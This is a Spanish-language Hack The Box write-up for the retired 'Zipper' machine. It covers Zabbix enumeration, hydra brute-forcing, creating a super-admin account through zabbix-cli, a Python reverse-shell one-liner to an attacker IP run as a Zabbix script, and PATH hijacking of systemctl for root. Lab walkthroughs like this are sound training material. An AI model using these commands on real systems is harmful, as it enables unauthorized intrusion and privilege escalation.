, , ,

-HACK THE BOX- WRITEUP ZIPPER SPANISH

-HACK THE BOX- WRITEUP ZIPPER SPANISH

Hace alguno minutos se ha retirado Zipper de Hack the box, y como una forma de contribuir a nuestros queridos amigos que disfrutan de estos retos, te explicamos en este breve writeup cómo conseguir el user y root de esta máquina.

ZIPPER

https://www.hackthebox.eu/home/machines/profile/159

Conocimiento necesario / Aprendizaje logrado

  1. Dirbuster (para encontrar servicios y directorios ocultos)
  2. Zabbix-cli (cliente por consola para crear usuarios en sistema Zabbix)
  3. Python Shell Reverse (Ejecución de script en python para obtener una shell reversa)
  4. Levantar un servidor web con Python (para descargar los archivos)
  5. Código para elevar TTY la shell reversa de python
  6. Linux Privilege Escalation Using PATH Variable

Comencemos!

nmap -sS -sC -sV -O -oG ZipperNMAP.txt 10.10.10.108

Al scannear con NMAP en primera instancia no encontramos nada que podamos ocupar, entonces procederemos a escanear con dirbuster para ver si encontramos algún directorio útil o que brinde más información.

Luego de probar algunos diccionarios (varios ¬¬) quickhits.txt nos entrega un resultado, (después ocupamos otra herramienta y confirmamos el antecedentes recopilado) teniendo a /zabbix como un hilo del cual tirar.

Entonces buscamos en la siguiente dirección

http://10.10.10.108/zabbix

Revisando la documentación encontrada en google, descubrimos que existe un usuario con el cual podemos logearnos: “Guest”

https://www.zabbix.com/documentation/3.0/manual/quickstart/login

Username: guest

Password: (vacio)

Ingresamos y...

En el menu “Latest data” podemos ver dos instancias del servidor que parecen utiles Host: Zipper Name: Zabbix agent y Host: Zabbix -other , nos damos cuenta que en ambas instancias existen script y que podemos ejecutarlos, la misión ahora es crear script, pero lamentablemente la cuenta Guest no posee los permisos para crearlos.

Como existe un login trataremos de forzar el ingreso mediante hydra, para ello intentamos ocupar cewl sobre el sitio sin resultado, así que a manopla no más, creamos un diccionario a partir de cada pestaña dentro de zabbix, siendo triggers la más relevante ya que tenia muchos nombres raros, así que utilizando este mini diccionario como base ocupamos hydra lo cual nos arrojo muy gratificantemente lo siguiente:

Username: zapper

Password: zapper

(cuek!)

Ingresamos con las credenciales y más sorpresas...

No pasa nada, pero al menos nos dice que el acceso por GUI no esta habilitado, así que es hora de recurrir a nuestro amigo google y empezar a estudiar como me conecto a zabbix.

Googleamos  y encontramos que existe un cliente que puede ejecutarse por consola,  el manual de instalación se encuentra en el siguiente link.

https://github.com/usit-gd/zabbix-cli/blob/master/docs/manual.rst#installation

Descargamos Zabbix-cli de la siguiente dirección (archivo .deb)

https://github.com/usit-gd/zabbix-cli/releases

Instalamos con el siguiente comando:

dpkg -i zabbix-cli_1.7.0

Quizás es probable que pida un paquete de Python asi que lo instalamos y completariamos la instalación, ahora tal como lo indica el manual de Zabbix modificaremos el archivo de configuración para poder conectarnos al servidor 10.10.10.108/zabbix, para eso modificaremos el siguiente archivo:

nano /usr/share/zabbix-cli/zabbix-cli.conf

Y en la siguiente parte…

Modificamos el parametro zabbix_api_url , y tambien lo descomentamos quedando así

Ahora iniciamos el cliente zabbix e insertamos el usuario y contraseñas obtenidos anteriormente

zabbix-cli
Username: zapper
Password: zapper

Y eureka!! estamos dentro del servidor utilizando el cliente zabbix.

En el manual de CLI existe un apartado donde podemos crear un usuario en el sistema, en una de esas este usuario puede crear script, ese es nuestro camino a seguir…

https://github.com/usit-gd/zabbix-cli/blob/master/docs/manual.rst#create-user

Creamos el usuario con el comando create_user

Rayos! No pudimos crear un usuario ya que ocurrio un problema en usergroupID ahora buscaremos los usergroups disponibles

Con el comando show_ (TAB) podremos ver todas las opciones disponibles…

Con el comandos show_usergroups podemos ver los nombres de los perfiles disponibles tomaremos nota del perfil “Zabbix administrators”

También aprovecharemos de ver los usuarios y nos damos cuenta de algo..

Existen "tipos de usuarios" en este caso el tipo de usuario 3 es “Super Admin” esto es interesante y además vemos que el usuario zapper no puede ser accedido por el fronted, esto explica el mensaje sobre la GUI cuando insertamos el usuario y contraseña. 

Ahora nuevamente editaremos el archivo de configuración agregando este nuevo valor en el parámetro “default_create_user_usergroup”, para que no arroje el error que tuvimos al crear el usuario.

nano /usr/share/zabbix-cli/zabbix-cli.conf

Y procedemos a crear nuevamente el usuario…

Perfecto!, esta vez se creó sin ningún problema, utilizando todo lo analizado anteriormente, el User Type 3 porque es de Super Admin Autologin y Autologout en 0 ya que son los valores por defecto (visto en el manual de Zabbix) y el Usergroups vacío ya que toma el valor que nosotros modificamos en el punto anterior.

Iniciamos sesión en el portal con nuestro nuevo usuario y nos encontramos con un nuevo modulo de administración/scripts nos vamos a crear script y ponemos nuestro código de alguna Shell reversa en Python (también funciona en perl), considerando los parámetros de nuestra IP y el puerto de escucha.

Shell reversa python

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.14",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Es importante marcar la opción Zabbix Agent ya que esta instancia posee python instalado, ¿cómo es que lo sé? Ya se los contare...

Ahora veremos nuestro script en el listado del servidor, pero no lo podemos ejecutar, así que recordamos! ¡El usuario guest puede ejecutar los scripts! entonces nos logueamos con este usuario.

En el menu Monitoring  en Latest Data podemos ver las dos instancias que mencione anteriormente ejecutaremos primero el script en la instacia Zabbix y comprobaremos que no puede ser corrida ya que no tiene python instalado.

Ahora la ejecutaremos en la instancia con el agent (la que configuramos el script en el servidor)

Esta vez la ejecución es exitosa.

Paralelamente en nuestro equipo teníamos corriendo netcat escuchando sobre el puerto que configuramos la shell y paf!! estamos en el sistema, vamos rápidamente a la carpeta /home y vemos que no hay nada… esto se debe a que nuestra shell no tiene TTY y no podemos obtener todo el control de la consola.

nc -lvp 7777

Para solucionar esto ejecutamos el siguiente comando…

python3 -c 'import pty; pty.spawn("/bin/sh")'

Ahora visualizamos el tan preciado user.txt pero…

Vemos que junto al user.txt existe una carpeta utils en la cual posee un archivo llamativo “backup.sh” vemos el contenido con cat

cat backup.sh

Encontramos que este script guarda en un 7z el contenido de un backup de zapper y además le inserta una contraseña “ZippityDoDah” en la direccion Raiz /Backup.

Al descargar estos archivos Backups no encontramos nada que podamos ocupar, estos fueron descargados utilizando un servidor http a través de python con el siguiente comando dentro de la carpeta con los archivos.

python3 -m http.server 8081

Con este archivo no se puede hacer nada pero nunca esta demás aprender como descargar archivos montando un server  no ? jajaj 🙂

Esta vez iniciamos el usuario zapper con la contraseña encontrada en backup.sh y eureka entramos!

Su zapper
password: ZippityDoDah

Navegamos hasta el usuario zapper y ahora podemos ver el Flag de user.txt

Ahora vemos que en el mismo directorio de home/zapper se encuentra un archivo llamado zabbix-service le realizaremos un strings a dicho archivo.

strings zabbix-service

Encontramos datos interesantes que podemos ocupar para escalar privilegios.

echo $PATH

export PATH=/tmp:$PATH

Ahora nos ubicamos en la carpeta tmp y ejecutamos los siguiente

echo “sh -c ‘cat /root/root.txt’” > systemctl echo “sh -c ‘cat /root/root.txt’” > systemctl

Luego...

chmod +x systemctl

Después volvemos a la carpeta /home/zipper y ejecutamos

./zabbix-service

Y obtenemos flag de root:


CÓDIGOS A CONSIDERAR

TTY shell python

python3 -c 'import pty; pty.spawn("/bin/sh")'

Espero que los que ya hicieron esta maquina y los que aún no, puedan utilizar esto de guía o comentar otra forma para vulnerar esta caja.


Recuerde que si quieren estar informados de las últimas novedades o noticias de ciberseguridad, hacking y otros, puedes unirte a nuestro canal de telegram o seguir nuestras redes sociales:

Telegram: https://t.me/sombreroblanco

Twitter: https://twitter.com/SombreroBlanc0

Facebook: https://www.facebook.com/BlancoSombrero

Instagram: https://www.instagram.com/sombreroblanc0/

 

Team HTB{SombreroBlanco}


 

2 Responses
  1. Gracias a su guia pude sacar esta maquina, soy vip hace poco y quiero practicar antes de jugar con las activas, muchas gracias, espero seguir aprendiendo de uds.
    Saludos desde Paraguay

Leave a reply

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *